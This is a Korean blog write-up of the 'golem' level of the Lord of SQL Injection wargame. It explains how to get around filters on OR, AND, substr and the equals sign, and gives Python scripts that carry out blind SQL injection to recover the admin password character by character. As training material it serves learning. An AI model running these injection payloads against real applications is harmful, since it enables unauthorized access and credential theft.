G2H

보안 리서치 · 레드팀/블루팀 · DFIR · Cloud · Tooling

최신 글 보기

최근에 작성된 글들을 확인해보세요.

[Load of SQL Injection] LOS - golem(11단계)

WriteUP

11단계 = golem


소스코드

소스코드를 보면 

OR, AND 연산자, substr() 함수, (, = ,_,.,)등이 필터링되어있는 걸 확인할 수 있다.

테이블에 존재하는 ID를 입력하면  Hello (존재하는 ID) 를 출력하는 걸 알 수 있으며,

사용자의 입력값을 비교하고있다.

또한 admin 계정의 패스워드를 알아야 하기에 

Blind SQL Injection을 시도해볼 수 있다.


우선 or, and 연산자는 ||, &&(url에서는 %26%26)으로 우회가 가능하고 substr() 함수의 경우에는

해당 문제에서 사용하는 DB가 My SQL이기에 substring() 함수가 사용가능하다.

substr() = substring()와 같은 기능을 수행한다.

=(등호) 의경우 like를 사용하면 될 거 같다.

 

우선 참값을 입력하면 정상적으로 출력되는지 확인해 보자

정상적으로 출력된다.

그럼 우선 password의 길이부터 구해보자.

편의를 위해 파이썬 코드를 작성해 보자.

import requests

url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookie = {'PHPSESSID':'682tolg2hp60v4i02glkpnni7s'}

def admin_pw():
    length=1
    while 1:
        query=url+"?pw=' || id like 'admin' %26%26 length(pw) like {} %23".format(length)
        res = requests.get(query, cookies=cookie)
        if 'Hello admin' in res.text:
            print('admin password='+str(length))
            break
        else:
            print('wait...'+str(length))
            length+=1

admin_pw()

password의 길이는 구했으니 해당 문자를 하나씩 구해서 password를 알아보자.


import requests

url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php'
cookie = {'PHPSESSID':'682tolg2hp60v4i02glkpnni7s'}

def admin_pw():
    length=1
    while 1:
        query=url+"?pw=' || id like 'admin' %26%26 length(pw) like {} %23".format(length)
        res = requests.get(query, cookies=cookie)
        if 'Hello admin' in res.text:
            print('admin password length='+str(length))
            admin_pwstr(int(length))
            break
        else:
            print('wait...'+str(length))
            length+=1

def admin_pwstr(length):
    string=''
    for i in range(1, length+1):
        for j in range(47, 123):
            query=url+"?pw=' || id like 'admin' %26%26 ascii(substring(pw,{},1)) like {}%23".format(i,j)
            res = requests.get(query, cookies=cookie)
            if 'Hello admin' in res.text:
                string+=chr(j)
                print('admin password = '+string)

    print('final password='+string)
    

admin_pw()

위와 같이 작성 후 해당 코드를 실행시키면 admin 계정의 password를 획득할 수 있다.

※ 내용이 이상하거나 문제가 있을 경우, 또는 설명에 부족한 내용이 있으시면 알려 주시면 감사합니다.

'WriteUP' 카테고리의 다른 글

[Load of SQL Injection] LOS - xavis(19단계)  (0) 2023.01.07
[Load of SQL Injection] LOS - DARKKNIGHT(12단계)  (0) 2022.12.25
[HackCTF] - RTC  (1) 2021.11.25
[HackCTF] pwning  (0) 2021.09.26
[pwnkr] - shellshock  (0) 2021.09.04